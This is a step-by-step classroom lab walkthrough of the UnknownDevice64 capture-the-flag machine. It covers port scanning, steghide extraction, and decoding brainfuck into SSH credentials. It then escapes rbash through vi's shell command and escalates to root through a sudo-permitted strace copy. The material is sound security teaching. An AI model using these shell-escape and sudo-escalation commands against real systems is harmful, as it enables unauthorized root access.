Exercise: Hacking UnknownDevice to Break Out of Restricted Shells

Steps

1. On your Kali system, start a shell by hitting `Alt-F2`, then typing `lxterminal` and hitting enter.
2. Switch into the `/home/lockthisdown/UnknownDevice` directory.

   ```
   cd /home/lockthisdown/UnknownDevice
   ```

3. Run an nmap scan across the entirety of the UnknownDevice:1 virtual machine's TCP ports:

   ```
   nmap -sT -sV -p- unknowndevice
   ```

4. It looks like we'll only be interacting with ports 1337 and 31337. Start by opening a browser and surfing to:

   http://unknowndevice:31337

5. Move the mouse around the web page. Enjoy the "flashlight in the dark" effect.
6. Now, hit `Ctrl-U` to view the page source. Note the commented-out image name in the code: `key_is_h1dd3n.jpg`
7. Let's download this image file and take a look. Surf to:

   http://unknowndevice:31337/key_is_h1dd3n.jpg

8. Let's look for steganography (a hidden message) in the image. Using your `lxterminal` window, download the image with curl:

   ```
   curl -O http://unknowndevice:31337/key_is_h1dd3n.jpg
   ```

9. Check for steganography with steghide's extract function, using the -sf (source file) flag:

   ```
   steghide extract -sf key_is_h1dd3n.jpg
   ```

10. When asked for a passphrase, let's try the "key":

    ```
    h1dd3n
    ```

11. Take a look at the file that gets written out:

    `cat h1dd3n.txt`

12. This is a program that's written in the 8-instruction programming language named "brainfuck." There are many sites that can run the program. Your Kali system has a copy of a Python-based Brainfuck interpreter, placed in `/home/lockthisdown/UnknownDevice`.

    `cd /home/lockthisdown/UnknownDevice/Python-Brainfuck.git`

13. Run the interpreter to run the program that's in `h1dd3n.txt`, gaining a username (`ud64`) and its password (`1M!#64@ud`):

    `./brainfuck.py h1dd3n.txt ; echo ""`

14. Now let's use that SSH port that we found in our nmap scan to login:

    `ssh -p 1337 ud64@unknowndevice`

15. Try to get a directory listing with `ls`:

    `ls`

16. Note that you're told that you're in a restricted shell environment, provided by `rbash`.

17. Hit tab twice, to see what commands are available to you.

18. Note that the `vi` editor is one of the commands that you can run. Start `vi`.

    `vi foo.txt`

19. Type `:!/bin/bash` then enter. The colon puts you into "function," rather than "editing" mode. The `!` lets you run a command.

    `:!/bin/bash`

20. You've broken out of the restricted shell! Now, you'll need a `PATH` variable so you don't have to figure out what directory each program you want to run is in. Set your PATH variable:

    `export PATH="/bin:/sbin:/usr/bin:/usr/sbin"`

21. Now check to see what commands this user (ud64) can run via sudo.

    `sudo -l`

22. sysud64 sounds suspicious, given that our user is `ud64`, short for `unknowndevice64`. Try running it with `sudo`:

    `sudo sysud64`

23. You're being told that you're missing arguments and that you can get help by running sysud64 -h. Try that:

```
sudo sysud64 -h | more
```

24. `sysud64` is just a copy of strace, a program we use in this class to run other programs while tracing those programs' use of system calls. Let's use it to run a shell. We'll tell strace to send the syscall output to `/dev/null`.

    ```
    sudo sysud64 -o /dev/null /bin/bash
    ```

25. If you're feeling curious, try leaving out the `-o /dev/null` option. It may be frustrating or it may be illuminating.

    ```
    sudo sysud64 /bin/bash
    ```

26. You've got root! Go get your flag!

    ```
    more /root/flag.txt
    ```

27. Change your Slack status to `:thumbsup:`.

28. Suspend the virtual machines:

    ```
    sudo /scripts/suspend-all-vms.sh
    ```